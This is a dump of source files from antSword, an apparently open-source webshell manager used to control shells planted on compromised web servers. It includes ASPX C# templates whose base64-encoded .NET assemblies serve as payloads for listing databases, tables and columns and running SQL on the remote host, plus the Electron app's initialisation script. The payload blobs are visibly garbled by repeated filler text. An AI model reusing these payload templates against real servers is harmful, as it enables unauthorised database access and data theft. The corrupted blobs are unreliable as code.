_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAA/AMAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAYAOAAxAAoASgA/AAoAXgA/AA4A3gDSAAYAQgEiAQYAYgEiARIArwGQAQYA1QExAAYA7wExAAYACwIxAAoAJAI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAMwB2gCRAGUD4ACZAMwB5QChAHwDZwCJAIsD6wCJAJgD8wCBAL4D+QCpAEkC/your_sha256_hashyour_sha256_hashQHZAJ4EZwHRAKcEbQEJABwBSAAuAAsAegEuABMAgwFyAJoArwC+your_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAABADEAAAAAAAAAADxNb2R1bGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAHaABlAHgAAADqWzdEKeWvToFK7q83lPo+AAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==`,
'action': 'show_databases',
'conn': '#{newbase64::conn}'
},
show_tables: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAA/AMAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAYAOAAxAAoASgA/AAoAXgA/AA4A3gDSAAYAQgEiAQYAYgEiARIArwGQAQYA1QExAAYA7wExAAYACwIxAAoAJAI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAMwB2gCRAGUD4ACZAMwB5QChAHwDZwCJAIsD6wCJAJgD8wCBAL4D+QCpAEkC/your_sha256_hashyour_sha256_hashQHZAJ4EZwHRAKcEbQEJABwBSAAuAAsAegEuABMAgwFyAJoArwC+your_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAABADEAAAAAAAAAADxNb2R1bGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAHaABlAHgAAADqWzdEKeWvToFK7q83lPo+AAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==`,
'action': 'show_tables',
'conn': '#{newbase64::conn}',
'z1': '#{newbase64::dbname}'
},
show_columns: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAA/AMAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAYAOAAxAAoASgA/AAoAXgA/AA4A3gDSAAYAQgEiAQYAYgEiARIArwGQAQYA1QExAAYA7wExAAYACwIxAAoAJAI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAMwB2gCRAGUD4ACZAMwB5QChAHwDZwCJAIsD6wCJAJgD8wCBAL4D+QCpAEkC/your_sha256_hashyour_sha256_hashQHZAJ4EZwHRAKcEbQEJABwBSAAuAAsAegEuABMAgwFyAJoArwC+your_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAABADEAAAAAAAAAADxNb2R1bGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAHaABlAHgAAADqWzdEKeWvToFK7q83lPo+AAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==`,
'action': 'show_columns',
'conn': '#{newbase64::conn}',
'z1': '#{newbase64::dbname}',
'z2': '#{newbase64::table}'
},
query: {
_: `TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashsAAHAMAnsBAAAEbwQAAApyMQAAcG8FAAAKDQICewEAAARvBAAACnI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCjpp////your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashChAB3gMm3gACewMAAAQlDSw/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLjAuNTA3MjcAAAAABQBsAAAA/AMAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAYAOAAxAAoASgA/AAoAXgA/AA4A3gDSAAYAQgEiAQYAYgEiARIArwGQAQYA1QExAAYA7wExAAYACwIxAAoAJAI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAMwB2gCRAGUD4ACZAMwB5QChAHwDZwCJAIsD6wCJAJgD8wCBAL4D+QCpAEkC/your_sha256_hashyour_sha256_hashQHZAJ4EZwHRAKcEbQEJABwBSAAuAAsAegEuABMAgwFyAJoArwC+your_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAABADEAAAAAAAAAADxNb2R1bGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAHaABlAHgAAADqWzdEKeWvToFK7q83lPo+AAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashwBOAF8ASQBOAEYATwAAAAAAvQTv/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA==`,
'action': 'query',
'conn': '#{newbase64::conn}',
'z1': '#{newbase64::sql}'
}
})
``` | /content/code_sandbox/source/core/aspxcsharp/template/database/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,761 |
```javascript
//
//
//
//
module.exports = () => ({
info: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAACAAABVxUCCAkAAAAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQAAAQAXAQAAAQAEAiEAswA1ACkAswAxABkAGwE6ADEALgE/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAKAD0AAAAAAAAAADxNb2R1bGU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAABAAMyAAAHLQA+your_sha256_hashnkBf5beOQoZYQPf95FrKAAi3elxWGTTgiQiwP19/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAEwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAAAAAAAAAAAAAAAAAAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
//
probedb: 'TVqQAAMAAAAEAAAA//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAHYyLjAuNTA3MjcAAAAABQBsAAAAeAIAACN+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZwE1AAoAgAFDAAYAuwGxAQoA1gFDAAYADAI1AAYAIQIVAgYAOQI1AAYAVAI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAGUANgA0AAABAAMyAAAHLQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE8AAAAAAL0E7/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA=',
})
``` | /content/code_sandbox/source/core/aspxcsharp/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,055 |
```javascript
/**
* ::
* 2015/12/20
* 2016/05/02
* <path_to_url
*/
'use strict';
const fs = require('fs'),
path = require('path'),
electron = require('electron'),
shell = electron.shell,
remote = electron.remote,
ipcRenderer = electron.ipcRenderer;
const Menubar = require('./base/menubar');
const CacheManager = require('./base/cachemanager');
const Decodes = require('./base/decodes');
const antSword = window.antSword = {
/**
* XSS
* @param {String} html
* @param {Boolean} wrap
* @return {String}
*/
noxss: (html = '', wrap = true) => {
let _html = String(html)
.replace(/&/g, "&")
.replace(/'/g, "'")
.replace(/>/g, ">")
.replace(/</g, "<")
.replace(/"/g, """);
if (wrap) {
_html = _html.replace(/\n/g, '<br/>');
}
return _html;
},
/**
* unxss
* @param {String} html
* @param {Boolean} wrap
* @return {String}
*/
unxss: (html = '', wrap = true) => {
let _html = String(html)
.replace(/'/g, "'")
.replace(/>/g, ">")
.replace(/</g, "<")
.replace(/"/g, '"')
.replace(/&/g, "&");
if (wrap) {
_html = _html.replace(/<br\/>/g, '\n'); // noxss
}
return _html;
},
/**
*
* @type {Array}
*/
logs: [],
/**
*
* @type {Object}
*/
encoders: {},
/**
*
* @type {Object}
*/
decoders: {},
/**
*
* @type {Object}
*/
core: {},
/**
*
* @type {Object}
*/
core_types: {},
/**
*
* @type {Object}
*/
plugins: {},
/**
*
* @type {Object}
*/
modules: {},
/**
*
*/
module: {},
/**
* localStorageAPI
* ? key
* @param {String} key
* @param {String} value
* @param {String} def
* @return {None} [description]
*/
storage: (key, value, def) => {
//
if (!value) {
return localStorage.getItem(key) || def;
};
if (typeof(value) === "object")
value = JSON.stringify(value);
//
localStorage.setItem(key, value);
},
/**
* &&
* @return {[type]} [description]
*/
reloadPlug() {
antSword['plugins'] = {};
//
let pluginHome = ipcRenderer.sendSync('store-config-plugPath');
fs
.readdirSync(pluginHome)
.map((_) => {
let pluginPath = path.join(pluginHome, _);
//
if (!fs.lstatSync(pluginPath).isDirectory()) {
return
}
// &&packageantSword['plugins']
try {
antSword['plugins'][_] = {
_id: _,
path: pluginPath,
info: JSON.parse(fs.readFileSync(path.join(pluginPath, 'package.json')))
}
} catch (error) {
return
}
});
//
let devPlugPath = antSword.storage('dev-plugPath');
if (antSword.storage('isDev') === '1' && fs.existsSync(devPlugPath) && fs.lstatSync(devPlugPath).isDirectory()) {
fs
.readdirSync(devPlugPath)
.map((_) => {
let _path = path.join(devPlugPath, _);
//
if (!fs.lstatSync(_path).isDirectory()) {
return
}
try {
antSword['plugins'][_] = {
_id: _,
path: _path,
info: JSON.parse(fs.readFileSync(path.join(_path, 'package.json')))
}
} catch (error) {
return
}
});
}
//
antSword.modules.shellmanager.toolbar.reloadToolbar()
}
};
//
antSword['core_types'] = ['asp', 'aspx', 'aspxcsharp', 'php', 'php4', 'phpraw', 'jsp', 'jspjs', 'cmdlinux', 'pswindows', 'custom'];
//
antSword['core'] = require('./core/');
//
antSword['language'] = require('./language/');
//
antSword['encoders'] = (function() {
var encoders = {};
var encoders_path = {};
for (var i in antSword['core_types']) {
encoders[antSword['core_types'][i]] = [];
encoders_path[antSword['core_types'][i]] = [];
}
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
//
!fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) :
null;
antSword['core_types'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null;
let t_path = path.join(userencoder_path, `${t}/encoder/`);
!fs.existsSync(t_path) ?
fs.mkdirSync(t_path) :
null;
let es = fs.readdirSync(t_path);
if (es) {
es.map((_) => {
if (!_.endsWith(".js")) {
return
}
encoders[t].push(_.slice(0, -3));
encoders_path[t].push(path.join(t_path, _.slice(0, -3)));
});
}
antSword["core"][t].prototype.user_encoders = encoders_path[t];
});
// // custom let es = fs.readdirSync(userencoder_path); if(es){ es.map((_)=>{
// console.log(_); let farr = _.split("#");
// encoders[farr[0]].push(farr[1].slice(0,-3)); }); } default
// ['asp','aspx','php','custom'].map((t)=>{
// antSword["core"][t].prototype.encoders.map((e)=>{ encoders[t].push(e);
// }); encoders[t] = encoders[t].unique(); });
// fs.readdirSync(path.join(process.env.AS_WORKDIR,'encoder'),(err,f) => {
// if(err || !f) return ; console.debug(f); let farr = f.split("#");
// encoders[farr[0]].push(farr[1]); });
return encoders;
})();
//
antSword['decoders'] = (function() {
var decoders = {};
var decoders_path = {};
for (var i in antSword['core_types']) {
decoders[antSword['core_types'][i]] = [];
decoders_path[antSword['core_types'][i]] = [];
}
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
//
!fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) :
null;
antSword['core_types'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null;
let t_path = path.join(userdecoder_path, `${t}/decoder/`);
!fs.existsSync(t_path) ?
fs.mkdirSync(t_path) :
null;
let es = fs.readdirSync(t_path);
if (es) {
es.map((_) => {
if (!_.endsWith(".js")) {
return
}
decoders[t].push(_.slice(0, -3));
decoders_path[t].push(path.join(t_path, _.slice(0, -3)));
});
}
antSword["core"][t].prototype.user_decoders = decoders_path[t];
});
// // custom let es = fs.readdirSync(userdecoder_path); if(es){ es.map((_)=>{
// console.log(_); let farr = _.split("#");
// encoders[farr[0]].push(farr[1].slice(0,-3)); }); } default
// ['asp','aspx','php','custom'].map((t)=>{
// antSword["core"][t].prototype.encoders.map((e)=>{ encoders[t].push(e);
// }); encoders[t] = encoders[t].unique(); });
// fs.readdirSync(path.join(process.env.AS_WORKDIR,'encoder'),(err,f) => {
// if(err || !f) return ; console.debug(f); let farr = f.split("#");
// encoders[farr[0]].push(farr[1]); });
return decoders;
})();
//
const aproxy = {
mode: antSword['storage']('aproxymode', false, 'noproxy'),
port: antSword['storage']('aproxyport'),
server: antSword['storage']('aproxyserver'),
password: antSword['storage']('aproxypassword'),
username: antSword['storage']('aproxyusername'),
protocol: antSword['storage']('aproxyprotocol')
}
antSword['aproxymode'] = aproxy['mode'];
antSword['aproxyauth'] = (!aproxy['username'] || !aproxy['password']) ?
'' :
`${aproxy['username']}:${aproxy['password']}`;
antSword['aproxyuri'] = `${aproxy['protocol']}:\/\/${antSword['aproxyauth']}${antSword['aproxyauth'] === ""
? ""
: "@"}${aproxy['server']}:${aproxy['port']}`;
//
ipcRenderer.send('aproxy', {
aproxymode: antSword['aproxymode'],
aproxyuri: antSword['aproxyuri']
});
antSword['shell'] = shell;
antSword['remote'] = remote;
antSword['ipcRenderer'] = ipcRenderer;
antSword['CacheManager'] = CacheManager;
antSword['Decodes'] = new Decodes();
antSword['menubar'] = new Menubar();
antSword['RANDOMWORDS'] = require('./base/words');
antSword['utils'] = require('./base/utils');
antSword['package'] = require('../package');
//
antSword['tabbar'] = new dhtmlXTabBar(document.body);
['shellmanager', 'settings', 'plugin'].map((_) => {
let _module = require(`./modules/${_}/`);
antSword['modules'][_] = new _module();
});
['shellmanager', 'settings', 'plugin', 'database', 'terminal', 'viewsite', 'filemanager'].map((_) => {
antSword['module'][_] = require(`./modules/${_}/`);
})
// &&
$('#loading').remove();
document.title = antSword['language']['title'] || 'AntSword';
/**
*
* - 100antSword.logs[id]
* @param {Object} opt [0=1=]
* @param {String} color
* @return {[type]} [description]
*/
const groupLog = (opt, color) => {
if (antSword.logs.length % 10 === 0) {
console.group(`LOGS: ${antSword.logs.length}+`);
}
let lineNum = antSword['logs'].push(opt[1]) - 1;
console.log(`%c0x${lineNum < 10
? '0' + lineNum
: lineNum}\t${opt[0].substr(0, 100) + (opt[0].length > 100
? '..'
: '')}`, `color:${color}`);
if (antSword.logs.length % 10 === 0) {
console.groupEnd();
}
}
//
ipcRenderer
/**
* UIshellmanager
* @param {[type]} 'reloadui' [description]
* @param {[type]} ( [description]
* @return {[type]} [description]
*/
.on('reloadui', () => {
setTimeout(() => {
antSword
.modules
.shellmanager
.category
.cell
.setWidth(222);
}, 555);
})
.on('aproxy-update', (e, opt) => {
antSword['aproxyauth'] = (!opt['aproxyusername'] || !opt['aproxypassword']) ? '' : `${opt['aproxyusername']}:${opt['aproxypassword']}`;
antSword['aproxyuri'] = `${opt['aproxyprotocol']}:\/\/${antSword['aproxyauth']}${antSword['aproxyauth'] === ''
? ''
: '@'}${opt['aproxyserver']}:${opt['aproxyport']}`;
antSword['aproxymode'] = opt['aproxymode'];
// antSword.modules.shellmanager.list.updateHeader();
antSword.modules.shellmanager.reloadData({
category: antSword.modules.shellmanager.category.sidebar.getActiveItem(),
});
})
/**
* Loader
* @param {[type]} 'notification-loader-update' [description]
* @param {[type]} (e, opt [description]
* @return {[type]} [description]
*/
.on('notification-loader-update', (e, opt) => {
const LANG = antSword["language"]["settings"]["update"];
let n = new Notification(antSword['language']['update']['title'], {
body: antSword['language']['update']['body'](opt['ver'])
});
n.addEventListener('click', () => {
antSword
.shell
.openExternal(opt['url']);
});
layer.confirm(LANG['prompt']['loader_body'](opt['ver']), {
icon: 3,
shift: 6,
title: LANG['prompt']['title']
}, (_) => {
antSword
.shell
.openExternal(opt['url']);
antSword
.remote
.app
.quit();
});
})
/**
*
* @param {[type]} 'notification-update' [description]
* @param {[type]} (e, opt [description]
* @return {[type]} [description]
*/
.on('notification-update', (e, opt) => {
const LANG = antSword["language"]["settings"]["update"];
let n = new Notification(antSword['language']['update']['title'], {
body: antSword['language']['update']['body'](opt['ver'])
});
//
const getFileSize = (t) => {
let i = false;
let b = [
"b",
"Kb",
"Mb",
"Gb",
"Tb",
"Pb",
"Eb"
];
for (let q = 0; q < b.length; q++)
if (t > 1024)
t = t / 1024;
else if (i === false)
i = q;
if (i === false)
i = b.length - 1;
return Math.round(t * 100) / 100 + " " + b[i];
}
n.addEventListener('click', () => {
antSword
.shell
.openExternal(opt['url']);
});
const WIN = require('ui/window');
let win = new WIN({
title: antSword['language']['update']['title'],
height: 430,
width: 480
});
win
.win
.setIconCss("update-winicon");
win
.win
.button("minmax")
.hide();
win
.win
.denyResize();
let uplayout = win
.win
.attachLayout('1C');
uplayout
.cells('a')
.hideHeader();
let formdata = [{
type: "label",
name: "form_msg",
label: LANG["prompt"]["body"](opt['ver']),
offsetLeft: 5
}, {
type: "container",
name: "form_body",
label: "",
inputWidth: 450,
inputHeight: 300
}, {
type: "block",
list: [{
type: "newcolumn",
offset: 20
}, {
type: "button",
name: "updatebtn",
